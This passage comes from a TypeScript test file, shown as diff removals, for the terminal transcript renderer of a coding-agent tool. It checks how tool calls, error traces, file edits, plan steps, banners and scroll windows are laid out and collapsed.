alwaysExpanded(): boolean { - return true; - } - const lines = buildLines( - [ - call, - { - type: "tool_result", - id: "exp1-r", - callId: "exp1", - name: "read_file", - content: "export const x = 1;\n", - isError: false, - finishedAt: 100, - }, - ], - COLUMNS, - false, - alwaysExpanded, - ); - const backgrounds = segmentBackgrounds(lines); - expect(backgrounds.every((bg) => bg === undefined)).toBe(true); - }); -}); - -describe("error tool result output", () => { - function shellErrorResult(exitCode: number, output: string): ContentBlock { - return toolResultBlock("err1", "err1", "run_shell", `exit code ${exitCode}\n${output}`, true); - } - - test("a collapsed long error trace shows a short summary, not the raw dump", () => { - const trace = Array.from({ length: 300 }, (_, i) => `at frame ${i} (file.ts:${i}:1)`).join("\n"); - const lines = lineText(buildLines([shellErrorResult(1, trace)], COLUMNS, false, isExpanded)); - expect(lines.length).toBe(1); - expect(lines[0]).toContain("frame 0"); - expect(lines.join("\n")).not.toContain("frame 299"); - }); - - test("an expanded long error trace caps behind the same hidden-lines marker the success path uses", () => { - const trace = Array.from({ length: 300 }, (_, i) => `at frame ${i} (file.ts:${i}:1)`).join("\n"); - function alwaysExpanded(): boolean { - return true; - } - const text = lineText(buildLines([shellErrorResult(1, trace)], COLUMNS, false, alwaysExpanded)).join("\n"); - expect(text).toContain("more lines hidden"); - expect(text.length).toBeLessThan(trace.length); - }); - - test("a collapsed shell error row shows plain exit status text, not a fail glyph", () => { - const text = lineText(buildLines([shellErrorResult(1, "boom")], COLUMNS, false, isExpanded)).join("\n"); - expect(text).toContain("exit 1"); - expect(text).not.toContain("✗"); - expect(text).not.toContain("✓"); - }); - - test("a non-shell collapsed error keeps the plain error prefix without a glyph", () => { - const block = toolResultBlock("err2", "err2", "read_file", "ENOENT: no such file", true); - const text = lineText(buildLines([block], COLUMNS, false, isExpanded)).join("\n"); - expect(text).toContain("error:"); - expect(text).not.toContain("✗"); - }); -}); - -describe("merged collapsed shell failure", () => { - function shellCallAndFailure(command: string, exitCode: number, output: string): ContentBlock[] { - const callId = "shell-err-1"; - return [ - toolCallBlock(callId, "run_shell", JSON.stringify({ command }), callId), - toolResultBlock(`${callId}-result`, callId, "run_shell", `exit code ${exitCode}\n${output}`, true), - ]; - } - - test("shows the parsed exit summary as plain text, not a fail glyph or raw envelope", () => { - const text = lineText(buildLines(shellCallAndFailure("false", 1, "boom"), COLUMNS, false, isExpanded)).join("\n"); - expect(text).toContain("exit 1: boom"); - expect(text).not.toContain("exit code 1"); - expect(text).not.toContain("✗"); - }); - - test("caps a long error trace to a short summary instead of dumping it", () => { - const trace = Array.from({ length: 300 }, (_, i) => `at frame ${i} (file.ts:${i}:1)`).join("\n"); - const lines = lineText(buildLines(shellCallAndFailure("run-trace", 1, trace), COLUMNS, false, isExpanded)); - const text = lines.join("\n"); - expect(text).toContain("frame 0"); - expect(text).not.toContain("frame 299"); - }); -}); - -describe("flat line buffer", () => { - test("a layoutKey change recomputes renderable blocks even when contentBlocks is unchanged", () => { - const blocks: ContentBlock[] = [ - { type: "thinking", id: "t1", content: "hidden thought" }, - { type: "text", id: "a1", content: "Visible reply." }, - ]; - const collapsed = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded, undefined, undefined, "k|0"); - const expanded = buildLinesIncremental(collapsed, blocks, COLUMNS, true, isExpanded, undefined, undefined, "k|1"); - expect(collapsed.blocks.some((b) => b.type === "thinking")).toBe(false); - expect(expanded.blocks.some((b) => b.type === "thinking")).toBe(true); - }); - - test("appending a block reuses the prior rendered tail", () => { - const first: ContentBlock[] = [ - { type: "text", id: "a1", content: "First assistant reply." }, - ]; - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded); - const second: ContentBlock[] = [ - ...first, - { type: "text", id: "a2", content: "Second assistant reply." }, - ]; - const state2 = buildLinesIncremental(state1, second, COLUMNS, false, isExpanded); - - expect(state2.blockRenderLineCounts.length).toBe(2); - expect(lineText(state2.lines.slice(0, state1.lines.length))).toEqual(lineText(state1.lines)); - expect(lineText(state2.lines).join("\n")).toContain("Second assistant reply"); - }); - - test("appending several blocks in one drain reuses the prior rendered tail", () => { - const first: ContentBlock[] = [ - { type: "text", id: "a1", content: "First assistant reply." }, - ]; - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded); - const second: ContentBlock[] = [...first, ...editPair(1), ...editPair(2)]; - const state2 = buildLinesIncremental(state1, second, COLUMNS, false, isExpanded); - - expect(lineText(state2.lines.slice(0, state1.lines.length))).toEqual(lineText(state1.lines)); - expect(lineText(state2.lines)).toEqual( - lineText(buildLines(second, COLUMNS, false, isExpanded)), - ); - }); - - test("a grown streaming block plus appended blocks matches a full rebuild", () => { - const first: ContentBlock[] = [ - { type: "text", id: "a1", content: "Stable reply." }, - { type: "text", id: "a2", content: "Streaming" }, - ]; - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded); - const second: ContentBlock[] = [ - first[0]!, - { type: "text", id: "a2", content: "Streaming grew longer." }, - ...editPair(1), - ]; - const state2 = buildLinesIncremental(state1, second, COLUMNS, false, isExpanded); - - expect(lineText(state2.lines)).toEqual( - lineText(buildLines(second, COLUMNS, false, isExpanded)), - ); - }); - - test("incremental line build trims to the default rendered line budget", () => { - const blocks: ContentBlock[] = Array.from({ length: 55 }, (_, i) => ({ - ...bigShellBlock(40), - id: `shell-${i}`, - })); - const maxLines = 100; - - const state = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - () => true, - new Map(), - undefined, - "layout", - maxLines, - ); - - expect(state.lines.length).toBeLessThanOrEqual(maxLines); - expect(state.hiddenRenderedLineCount).toBeGreaterThan(0); - expect(lineText(state.lines).join("\n")).toContain("earlier rendered lines hidden"); - }); - - test("a multi-line shell command decomposes into one line per visual row", () => { - const lines = buildLines([bigShellBlock(50)], COLUMNS, false, () => true); - // Each entry is a single visual row (an array of styled segments), never a - // monolithic block that paints taller than the viewport. - expect(lines.length).toBeGreaterThanOrEqual(50); - for (const line of lines) { - expect(Array.isArray(line)).toBe(true); - } - }); - - test("the scroll window never exceeds visibleRows for any offset", () => { - const lines = buildLines([bigShellBlock(50)], COLUMNS, false, isExpanded); - const visibleRows = 20; - const maxOffset = maxLineOffset(lines, visibleRows); - expect(maxOffset).toBe(Math.max(0, lines.length - visibleRows)); - - for (let offset = -5; offset <= maxOffset + 5; offset++) { - const { start, end } = lineWindow(lines, offset, visibleRows); - expect(end - start).toBeLessThanOrEqual(visibleRows); - expect(start).toBeGreaterThanOrEqual(0); - expect(end).toBeLessThanOrEqual(lines.length); - } - }); - - test("pinning to the bottom shows exactly the last visibleRows lines", () => { - const lines = buildLines([bigShellBlock(50)], COLUMNS, false, () => true); - const visibleRows = 20; - const maxOffset = maxLineOffset(lines, visibleRows); - const { start, end } = lineWindow(lines, maxOffset, visibleRows); - expect(end).toBe(lines.length); - expect(end - start).toBe(visibleRows); - }); - - test("paired tool call and result collapse to one merged line", () => { - const blocks: ContentBlock[] = [ - { - type: "tool_call", - id: "call-read", - name: "read_file", - arguments: JSON.stringify({ path: "package.json" }), - }, - { - type: "tool_result", - id: "result-read", - callId: "call-read", - name: "read_file", - content: '{"scripts":{"test":"bun test"}}', - isError: false, - }, - ]; - - expect(lineText(buildLines(blocks, COLUMNS, false, isExpanded))).toEqual([" Read 1 line of package.json"]); - expect(lineText(buildLines(blocks, COLUMNS, false, () => true)).join("\n")).toContain("scripts"); - }); - - test("incremental append of a tool result drops the running marker and merges with duration", () => { - const call: ContentBlock = { - type: "tool_call", - id: "call-read", - callId: "call-read", - name: "read_file", - arguments: JSON.stringify({ path: "src/foo.ts" }), - startedAt: 1_000, - }; - const cache = new Map(); - const pending = buildLinesIncremental(undefined, [call], COLUMNS, false, isExpanded, cache); - expect(pending.lines[0]?.[0]?.toolRunningSince).toBe(1_000); - - const result: ContentBlock = { - type: "tool_result", - id: "result-read", - callId: "call-read", - name: "read_file", - content: "hello", - isError: false, - finishedAt: 2_500, - }; - const done = buildLinesIncremental(pending, [call, result], COLUMNS, false, isExpanded, cache); - const text = lineText(done.lines).join("\n"); - expect(done.lines[0]?.[0]?.toolRunningSince).toBeUndefined(); - expect(text).toContain("· 1.5s"); - expect(text).toContain("Read 1 line of src/foo.ts"); - // Matches a full rebuild so the incremental path cannot drift. - expect(lineText(done.lines)).toEqual( - lineText(buildLines([call, result], COLUMNS, false, isExpanded)), - ); - }); - - test("pending non-shell tool marks the running row with its start time", () => { - const call: ContentBlock = { - type: "tool_call", - id: "call-read", - callId: "call-read", - name: "read_file", - arguments: JSON.stringify({ path: "src/foo.ts" }), - startedAt: 1_000, - }; - const lines = buildLines([call], COLUMNS, false, isExpanded); - const text = lineText(lines).join("\n"); - expect(lines[0]?.[0]?.toolRunningSince).toBe(1_000); - expect(text).toContain("Read"); - // The elapsed clock is live-only; buildLines output is time-independent so a - // per-second tick never needs to rebuild the transcript line array. - expect(buildLines([call], COLUMNS, false, isExpanded)).toEqual(lines); - }); - - test("orphan tool result still renders on its own", () => { - const block: ContentBlock = { - type: "tool_result", - id: "json-result", - callId: "read-json", - name: "read_file", - content: " 1\tfoo", - isError: false, - }; - - expect(lineText(buildLines([block], COLUMNS, false, isExpanded))).toEqual([" Read 1 line"]); - }); - - test("consecutive file edits collapse into one group", () => { - const blocks = [0, 1, 2, 3].flatMap(editPair); - - expect(lineText(buildLines(blocks, COLUMNS, false, isExpanded))).toEqual([" Edited 4 files"]); - }); - - test("expanded file edits render individually", () => { - const blocks = [0, 1, 2].flatMap(editPair); - const expandedIds = new Set(["edit-1"]); - const text = lineText(buildLines(blocks, COLUMNS, false, (block) => expandedIds.has(block.id))).join("\n"); - - expect(text).toContain("Edited src/file-0.ts"); - expect(text).toContain("Edit"); - expect(text).not.toMatch(/[◇✎✐⌕⌗☰⊛⇣⚑▣]/); - expect(text).toContain("src/file-1.ts"); - expect(text).toContain("Edited src/file-2.ts"); - expect(text).not.toContain("Edited 3 files"); - }); - - test("large user code fences are compacted in the log", () => { - const block: ContentBlock = { - type: "user", - id: "user-with-code", - content: `Please inspect @src/file.ts:\n\`\`\`ts\n${Array.from({ length: 20 }, (_, i) => `line ${i}`).join("\n")}\n\`\`\``, - }; - - const text = lineText(buildLines([block], COLUMNS, false, isExpanded)).join("\n"); - expect(text).toContain("[ts code block hidden: 20 lines]"); - expect(text).not.toContain("line 19"); - }); - - test("tool errors strip terminal mouse and CSI control sequences", () => { - const block: ContentBlock = { - type: "tool_result", - id: "mouse-error", - callId: "shell-1", - name: "run_shell", - content: "failed [<0;29;35M\u001B[31m badly", - isError: true, - }; - - const text = lineText(buildLines([block], COLUMNS, false, isExpanded)).join("\n"); - expect(text).toContain("error: failed badly"); - expect(text).not.toContain("[<0;29;35M"); - expect(text).not.toContain("\u001B"); - }); - - test("expanded tool results are bounded and tail-anchored", () => { - const block: ContentBlock = { - type: "tool_result", - id: "large-result", - callId: "shell-1", - name: "run_shell", - content: Array.from({ length: 250 }, (_, i) => `line ${i}`).join("\n"), - isError: false, - }; - - const text = lineText(buildLines([block], COLUMNS, false, () => true)).join("\n"); - // Tail-anchored: the conclusion (line 249) survives alongside a small head - // stub (lines 0-2). The early-middle (lines 3-53) is elided. - expect(text).toContain("line 249"); - expect(text).toContain("line 0"); - expect(text).toContain("[50 more lines hidden]"); - expect(text).not.toContain("line 40"); - }); - - test("cached assistant output rewraps when the terminal width changes", () => { - const blocks: ContentBlock[] = [ - { - type: "text", - id: "assistant-long", - content: "This assistant response should wrap across several rows at a narrow width but collapse when the viewport grows wider.", - }, - { - type: "tool_call", - id: "keep-first-block-cacheable", - name: "read_file", - arguments: JSON.stringify({ path: "package.json" }), - }, - ]; - const cache = new Map>(); - - const narrow = lineText(buildLines(blocks, 28, false, isExpanded, cache)); - const wide = lineText(buildLines(blocks, 100, false, isExpanded, cache)); - - expect(wide.length).toBeLessThan(narrow.length); - expect(wide.join("\n")).toContain("viewport grows wider"); - }); - - test("text block marker counts against the wrap budget so no line overflows the column", () => { - // A first row that fills the width: the leading " ● " marker must be - // folded into the wrap, not prepended after it. Otherwise line 0 grows past - // the column and spills an extra row, clipping the viewport's bottom line. - const width = 40; - const block: ContentBlock = { type: "text", id: "full-row", content: "x".repeat(50) }; - const lines = buildLines([block], width, false, isExpanded); - for (const line of lines) { - const len = line.reduce((n, s) => n + s.text.length, 0); - expect(len).toBeLessThanOrEqual(width); - } - }); - - test("wrapped markdown bullets use a hanging indent", () => { - const width = 44; - const block: ContentBlock = { - type: "text", - id: "wrapped-bullet", - content: "- Added description-table detection and readable list rendering at src/tui/markdown-parser.ts:372.", - }; - const text = lineText(buildLines([block], width, false, isExpanded)); - expect(text.length).toBeGreaterThan(1); - expect(text[0]?.startsWith(" ● • ")).toBe(true); - expect(text[1]?.startsWith(" ")).toBe(true); - expect(text[1]?.startsWith("rendering")).toBe(false); - for (const line of text) expect(line.length).toBeLessThanOrEqual(width); - }); - - test("user banner wraps within the column instead of spilling past the rail", () => { - const width = 40; - const block: ContentBlock = { type: "user", id: "wide-user", content: "y".repeat(120) }; - const lines = buildLines([block], width, false, isExpanded); - expect(lines.length).toBeGreaterThan(1); - for (const line of lines) { - const len = line.reduce((n, s) => n + s.text.length, 0); - expect(len).toBeLessThanOrEqual(width); - } - }); - - test("user banner spacer rows have no background while body keeps userMessageBg", () => { - const block: ContentBlock = { type: "user", id: "user-bg", content: "hello" }; - const lines = buildLines([block], COLUMNS, false, isExpanded); - // blank spacer, body, blank spacer - expect(lines.length).toBe(3); - const bg = color("userMessageBg"); - expect(lines[0]!.every((seg) => seg.backgroundColor === undefined)).toBe(true); - expect(lines[2]!.every((seg) => seg.backgroundColor === undefined)).toBe(true); - expect(lines[1]!.some((seg) => seg.backgroundColor === bg)).toBe(true); - expect(lines[1]!.every((seg) => seg.backgroundColor === bg)).toBe(true); - }); - - test("empty or whitespace user content yields no grey box", () => { - for (const content of ["", " ", "\n\t"]) { - const block: ContentBlock = { type: "user", id: "empty-user", content }; - expect(buildLines([block], COLUMNS, false, isExpanded)).toEqual([]); - } - }); - - test("buildResourceBanner shows brand, workspace path, and optional skills/plugins", () => { - const workspace = "/home/user/project"; - const banner = buildResourceBanner([{ name: "scribe" }, { name: "tdd" }], ["exa"], 80, workspace); - const text = banner.map((line) => line.map((s) => s.text).join("")).join("\n"); - expect(text.indexOf("Corbits Code")).toBeLessThan(text.indexOf("[Skills]")); - expect(text).toContain("Powered by Corbits"); - expect(text).toContain(workspace); - expect(text).toContain("[Skills]"); - expect(text).toContain("scribe, tdd"); - expect(text).toContain("[Plugins]"); - expect(text).toContain("exa"); - const brandOnly = buildResourceBanner([], [], 80, workspace); - const brandText = brandOnly.map((line) => line.map((s) => s.text).join("")).join("\n"); - expect(brandText).toContain("Corbits Code"); - expect(brandText).toContain(workspace); - expect(brandText).not.toContain("[Skills]"); - expect(brandOnly.length).toBeGreaterThan(0); - }); - - test("buildResourceBanner wraps a long workspace path to the given width", () => { - const longPath = "/home/user/very/long/nested/project/directory/name/that/exceeds/eighty/columns/easily"; - const width = 40; - const banner = buildResourceBanner([], [], width, longPath); - const pathLines = banner.filter((line) => - line.some((seg) => seg.text.length > 0 && !["Corbits Code", "Powered by Corbits"].includes(seg.text)), - ); - expect(pathLines.length).toBeGreaterThan(1); - for (const line of pathLines) { - const len = line.reduce((n, s) => n + s.text.length, 0); - expect(len).toBeLessThanOrEqual(width); - } - }); - - test("buildResourceBanner shows What's new when release notes markdown is provided", () => { - const banner = buildResourceBanner( - [], - [], - 80, - "/tmp/ws", - undefined, - "## [0.2.86]\n\n- Feature A", - ); - const text = banner.map((line) => line.map((s) => s.text).join("")).join("\n"); - expect(text).toContain("[What's new]"); - expect(text).toContain("0.2.86"); - expect(text).toContain("Feature A"); - }); - - test("buildResourceBanner omits What's new when markdown is empty", () => { - const banner = buildResourceBanner([], [], 80, "/tmp/ws", undefined, ""); - const text = banner.map((line) => line.map((s) => s.text).join("")).join("\n"); - expect(text).not.toContain("[What's new]"); - }); - - const planBlock: ContentBlock = { - type: "plan", - id: "plan-1", - steps: [ - { file: "src/a.ts", action: "edit" }, - { file: "src/b.ts", action: "create" }, - { file: "src/c.ts", action: "edit" }, - ], - }; - - test("plan renders all steps as grey todo circles before work starts", () => { - const text = lineText(buildLines([planBlock], COLUMNS, false, isExpanded, undefined, { - currentStep: null, - deviated: false, - })); - expect(text).toEqual([ - "○ edit src/a.ts", - "○ create src/b.ts", - "○ edit src/c.ts", - ]); - }); - - test("plan shows done checkmarks, an active circle, and remaining todo", () => { - const text = lineText(buildLines([planBlock], COLUMNS, false, isExpanded, undefined, { - currentStep: 1, - deviated: false, - })); - expect(text).toEqual([ - "✓ edit src/a.ts", - "◯ create src/b.ts", - "○ edit src/c.ts", - ]); - }); - - test("plan marks remaining steps as cancelled when deviated", () => { - const text = lineText(buildLines([planBlock], COLUMNS, false, isExpanded, undefined, { - currentStep: 1, - deviated: true, - })); - expect(text[0]).toBe("✓ edit src/a.ts"); - expect(text[1]).toBe("◯ create src/b.ts"); - expect(text[2]).toContain("cancelled"); - expect(text[2]).toContain("edit src/c.ts"); - }); - - test("inserts a separator blank between assistant prose and following tool actions (but not between consecutive tools)", () => { - const blocks: ContentBlock[] = [ - { type: "text", id: "t1", content: "I'll read the config then edit it." }, - { - type: "tool_call", - id: "c1", - name: "read_file", - arguments: JSON.stringify({ path: "package.json" }), - }, - { - type: "tool_result", - id: "r1", - callId: "c1", - name: "read_file", - content: '{"name":"demo"}', - isError: false, - }, - { - type: "tool_call", - id: "c2", - name: "edit_file", - arguments: JSON.stringify({ path: "package.json" }), - }, - { - type: "tool_result", - id: "r2", - callId: "c2", - name: "edit_file", - content: "replaced 1 occurrence(s)", - isError: false, - }, - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - // After text there should be a blank line (represented as ""), then the first tool. - // The two action lines are adjacent (no extra blank between merged pairs). - expect(lines).toEqual([ - " ● I'll read the config then edit it.", - "", - " Read 1 line of package.json", - " Edited package.json (1 replacement)", - ]); - }); - - test("a collapsed edit_file row shows a +N/-M diff stat", () => { - const blocks: ContentBlock[] = [ - toolCallBlock( - "c1", - "edit_file", - JSON.stringify({ path: "src/a.ts", old_string: "one\ntwo", new_string: "one\ntwo\nthree\nfour" }), - ), - toolResultBlock("r1", "c1", "edit_file", "replaced 1 occurrence(s) in src/a.ts"), - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines[0]).toContain("+2/-0"); - }); - - test("a collapsed write_file row shows a +N/-M diff stat", () => { - const blocks: ContentBlock[] = [ - toolCallBlock("c1", "write_file", JSON.stringify({ path: "src/a.ts", content: "one\ntwo\nthree" })), - toolResultBlock("r1", "c1", "write_file", "wrote 13 bytes to src/a.ts"), - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines[0]).toContain("+3/-0"); - }); - - test("a collapsed edit_file row omits the diff stat when the call errored", () => { - const blocks: ContentBlock[] = [ - toolCallBlock("c1", "edit_file", JSON.stringify({ path: "src/a.ts", old_string: "one", new_string: "one\ntwo" })), - toolResultBlock("r1", "c1", "edit_file", "old_string not found", true), - ]; - const lines = lineText(buildLines(blocks, COLUMNS, false, isExpanded)); - expect(lines[0]).not.toContain("+1/-0"); - }); -}); - -describe("incremental layout fast paths", () => { - // MAX is intentionally tiny so trim and cold-path-skip both engage without - // needing hundreds of blocks. Each block contributes multiple rendered lines. - const MAX = 30; - - // 80 multi-line text blocks — enough to trip the cold-path-skip (>60) and to - // overflow MAX so trim runs on the same frame. - function manyTextBlocks(count: number): ContentBlock[] { - return Array.from({ length: count }, (_, i) => ({ - type: "text" as const, - id: `t${i}`, - content: `block ${i}\nsecond line\nthird line`, - })); - } - - test("blockRenderLineCounts stays NaN-free after the cold path skips blocks", () => { - const first = manyTextBlocks(80); - const state = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - // Cold path triggers when blocks.length > 60 and startBlockIndex lands past 0, - // leaving blockLineStarts sparse below startBlockIndex. The counts array - // must remain dense numeric (no NaN) for findTailStartFromLineCounts. - for (const count of state.blockRenderLineCounts) { - expect(Number.isFinite(count)).toBe(true); - expect(count).toBeGreaterThanOrEqual(0); - } - expect(state.firstRenderedBlockIndex).toBeGreaterThan(0); - }); - - test("appendedOnly fast path preserves the rendered tail and stays bounded", () => { - const first = manyTextBlocks(70); - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - const appended = [...first, { type: "text" as const, id: "t70", content: "block 70" }]; - const state2 = buildLinesIncremental(state1, appended, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - expect(state2.lines.length).toBeLessThanOrEqual(MAX); - // The prior tail is reused verbatim (no re-trim of the existing lines). - expect(lineText(state2.lines).join("\n")).toContain("block 69"); - expect(lineText(state2.lines).join("\n")).toContain("block 70"); - // Counts array matches the new block count and stays NaN-free. - expect(state2.blockRenderLineCounts.length).toBe(appended.length); - for (const count of state2.blockRenderLineCounts) { - expect(Number.isFinite(count)).toBe(true); - } - }); - - test("suffixMatches fast path keeps the tail after the head is dropped", () => { - // Seed past the retention cadence by building directly: 80 blocks, then - // simulate compaction dropping the oldest 10. The 70-block suffix must - // match prev[i + dropped], triggering the suffixMatches branch. - const first = manyTextBlocks(80); - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - const compacted = first.slice(10); - const state2 = buildLinesIncremental(state1, compacted, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - // The retained tail (last block) survives across the compaction seam. - expect(lineText(state2.lines).join("\n")).toContain("block 79"); - expect(state2.lines.length).toBeLessThanOrEqual(MAX); - for (const count of state2.blockRenderLineCounts) { - expect(Number.isFinite(count)).toBe(true); - } - }); - - test("at most one hidden-lines marker survives across appendedOnly rebuilds", () => { - const first = manyTextBlocks(80); - const state1 = buildLinesIncremental(undefined, first, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - // Append a block large enough to push past the budget on the next frame. - const appended = [...first, { - type: "text" as const, - id: "t80", - content: Array.from({ length: 80 }, () => "x".repeat(80)).join("\n"), - }]; - const state2 = buildLinesIncremental(state1, appended, COLUMNS, false, isExpanded, undefined, undefined, undefined, MAX); - - const text = lineText(state2.lines).join("\n"); - const markerHits = text.match(/earlier rendered lines hidden/g) ?? []; - expect(markerHits.length).toBeLessThanOrEqual(1); - }); -}); - -function bigToolResult(id: string, callId: string, lineCount: number): ContentBlock { - return { - type: "tool_result", - id, - callId, - name: "run_shell", - content: Array.from({ length: lineCount }, (_, i) => `output line ${i} for ${callId}`).join("\n"), - isError: false, - }; -} - -function toolPair(index: number, resultLines: number): ContentBlock[] { - const callId = `shell-${index}`; - return [ - { - type: "tool_call", - id: callId, - name: "run_shell", - arguments: JSON.stringify({ command: `echo tool-${index}` }), - }, - bigToolResult(`result-${index}`, callId, resultLines), - ]; -} - -describe("blockIdsInLineRange", () => { - test("selects only tools whose line ranges intersect the window", () => { - const blocks: ContentBlock[] = [ - { type: "text", id: "t0", content: "hello" }, - ...toolPair(0, 3), - { type: "text", id: "t1", content: "between" }, - ...toolPair(1, 3), - ]; - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - // shell-1 is at block index 4 (t0, shell-0, result-0, t1, shell-1, result-1) - const shell1Start = state.blockLineStarts[4] ?? 0; - const ids = blockIdsInLineRange( - state.blocks, - state.blockLineStarts, - state.lines.length, - shell1Start, - shell1Start + 1, - ); - expect(ids.has("shell-1")).toBe(true); - expect(ids.has("result-1")).toBe(true); - expect(ids.has("shell-0")).toBe(false); - // Prose never enters the expand set — it would only churn layoutKey. - expect(ids.has("t0")).toBe(false); - expect(ids.has("t1")).toBe(false); - }); - - test("pairs a merged tool call with its zero-width result", () => { - const blocks = toolPair(0, 5); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - // Collapsed merge puts lines on the call; result is zero-width after it. - const ids = blockIdsInLineRange( - state.blocks, - state.blockLineStarts, - state.lines.length, - 0, - state.lines.length, - ); - expect(ids.has("shell-0")).toBe(true); - expect(ids.has("result-0")).toBe(true); - }); - - test("returns an empty set for an empty window", () => { - const blocks = toolPair(0, 5); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const ids = blockIdsInLineRange( - state.blocks, - state.blockLineStarts, - state.lines.length, - 2, - 2, - ); - expect(ids.size).toBe(0); - }); - - test("expands an entire collapsed file-edit group when any member hits", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 4; i++) { - blocks.push({ - type: "tool_call", - id: `edit-${i}`, - name: "edit_file", - arguments: JSON.stringify({ path: `f${i}.ts` }), - }); - blocks.push({ - type: "tool_result", - id: `edit-result-${i}`, - callId: `edit-${i}`, - name: "edit_file", - content: "ok", - isError: false, - }); - } - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - // Group summary lives on the first call; hit just that one-line window. - const firstStart = state.blockLineStarts[0] ?? 0; - const ids = blockIdsInLineRange( - state.blocks, - state.blockLineStarts, - state.lines.length, - firstStart, - firstStart + 1, - ); - for (let i = 0; i < 4; i++) { - expect(ids.has(`edit-${i}`)).toBe(true); - expect(ids.has(`edit-result-${i}`)).toBe(true); - } - }); -}); - -describe("viewportToolIds", () => { - test("atBottom selects tools at the base tail", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 10; i++) blocks.push(...toolPair(i, 5)); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const visibleRows = 6; - const ids = viewportToolIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset: 0, - atBottom: true, - bufferRows: 0, - }); - expect(ids.has("shell-9")).toBe(true); - expect(ids.has("result-9")).toBe(true); - expect(ids.has("shell-0")).toBe(false); - }); - - test("expanded scroll offset maps correctly when layout is expanded (no base clamp)", () => { - // Reproduces the mid-scroll bug: after expanding mid tools, an expanded - // scrollOffset larger than the collapsed maxOff must still select mid tools - // when membership uses the expanded layout metrics. - const RESULT_LINES = 40; - const blocks: ContentBlock[] = []; - for (let i = 0; i < 10; i++) blocks.push(...toolPair(i, RESULT_LINES)); - - const collapsed = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const midIds = new Set(["shell-3", "result-3", "shell-4", "result-4", "shell-5", "result-5"]); - const expanded = buildLinesIncremental( - undefined, - blocks, - COLUMNS, - false, - (block) => midIds.has(block.id), - ); - - const visibleRows = 20; - const collapsedMaxOff = Math.max(0, collapsed.lines.length - visibleRows); - // Scroll into the expanded mid band — past collapsed maxOff. - const midStart = expanded.blockLineStarts[6] ?? 0; // shell-3 index after 3 pairs - const scrollOffset = Math.min( - midStart, - Math.max(0, expanded.lines.length - visibleRows), - ); - expect(scrollOffset).toBeGreaterThan(collapsedMaxOff); - - const ids = viewportToolIds({ - blocks: expanded.blocks, - blockLineStarts: expanded.blockLineStarts, - lineCount: expanded.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset, - atBottom: false, - bufferRows: 0, - }); - - // Must stay on mid tools, not clamp to the base tail. - expect(ids.has("shell-3") || ids.has("shell-4") || ids.has("shell-5")).toBe(true); - expect(ids.has("shell-9")).toBe(false); - }); - - test("prefix lines shift the window into content coordinates", () => { - const blocks = toolPair(0, 5); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - // Window entirely inside the prefix → no tools. - const empty = viewportToolIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 10, - visibleRows: 5, - scrollOffset: 0, - atBottom: false, - bufferRows: 0, - }); - expect(empty.size).toBe(0); - - // Window past the prefix hits the tools. - const hit = viewportToolIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 2, - visibleRows: 5, - scrollOffset: 2, - atBottom: false, - bufferRows: 0, - }); - expect(hit.has("shell-0")).toBe(true); - }); -}); - -describe("capViewportToolIds", () => { - test("keeps tools closest to the viewport center under the hang-safe budget", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 20; i++) blocks.push(...toolPair(i, 1)); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const all = blockIdsInLineRange( - state.blocks, - state.blockLineStarts, - state.lines.length, - 0, - state.lines.length, - ); - const center = state.lines.length / 2; - const capped = capViewportToolIds( - all, - state.blocks, - state.blockLineStarts, - state.lines.length, - center, - 4, - ); - const callCount = [...capped].filter((id) => id.startsWith("shell-")).length; - expect(callCount).toBe(4); - // Mid-band tools win over the ends. - expect(capped.has("shell-0")).toBe(false); - expect(capped.has("shell-19")).toBe(false); - expect(capped.has("shell-9") || capped.has("shell-10")).toBe(true); - }); -}); - -describe("resolveViewportExpandIds", () => { - test("holds previously expanded tools until they leave the hold buffer", () => { - const blocks: ContentBlock[] = []; - for (let i = 0; i < 12; i++) blocks.push(...toolPair(i, 5)); - const state = buildLinesIncremental(undefined, blocks, COLUMNS, false, isExpanded); - const visibleRows = 6; - // Enter with a tight buffer around the tail. - const first = resolveViewportExpandIds({ - blocks: state.blocks, - blockLineStarts: state.blockLineStarts, - lineCount: state.lines.length, - prefixLineCount: 0, - visibleRows, - scrollOffset: 0, - atBottom: true, - previousIds: new Set(), - enterBufferRows: 0, - holdBufferRows: 40, - maxToolCalls: DEFAULT_MAX_VIEWPORT_EXPAND_TOOL_CALLS, - }); - expect(first.has("shell-11")).toBe(true); - - // Scroll up so shell-11 is outside the enter window but still inside hold. - const midOffset = Math.max(0, state.lines.length - visibleRows - 15); - const held = 